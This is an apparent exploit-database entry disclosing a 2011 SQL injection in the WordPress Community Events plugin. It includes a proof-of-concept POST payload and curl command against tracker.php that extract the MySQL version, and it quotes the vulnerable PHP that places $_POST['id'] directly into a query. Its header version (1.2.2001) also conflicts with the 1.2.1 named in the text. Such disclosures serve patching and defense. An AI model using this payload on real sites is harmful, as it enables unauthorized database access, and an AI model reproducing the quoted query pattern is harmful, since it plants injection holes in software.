WordPress Community Events plugin

vendor:

Community Events plugin

by:

Miroslav Stampar

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Community Events plugin

Affected Version From: 1.2.2001

Affected Version To: 1.2.2001

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2011

WordPress Community Events plugin <= 1.2.1 SQL Injection Vulnerability

The WordPress Community Events plugin version 1.2.1 is vulnerable to a SQL injection vulnerability. An attacker can exploit this vulnerability by sending a malicious POST request to the tracker.php file with a crafted 'id' parameter. This will allow the attacker to extract the version of the MySQL server running on the vulnerable system.

Mitigation:

Upgrade to the latest version of the WordPress Community Events plugin.

Source

Exploit-DB raw data:

# Exploit Title: WordPress Community Events plugin <= 1.2.1 SQL Injection Vulnerability
# Date: 2011-09-07
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/community-events.zip
# Version: 1.2.1 (tested)

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PoC (POST data)
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http://www.site.com/wp-content/plugins/community-events/tracker.php
 id=-1 AND EXTRACTVALUE(1, CONCAT(CHAR(58),@@version,CHAR(58)))--%20

e.g.:
curl --data "id=-1 AND EXTRACTVALUE(1, CONCAT(CHAR(58),@@version,CHAR(58)))-- " http://www.site.com/wp-content/plugins/community-events/tracker.php

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Vulnerable code
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$event_id = $_POST['id'];
...
$ceeventdataquery = "select * from " . $wpdb->get_blog_prefix() . "ce_events where event_id = " . $event_id;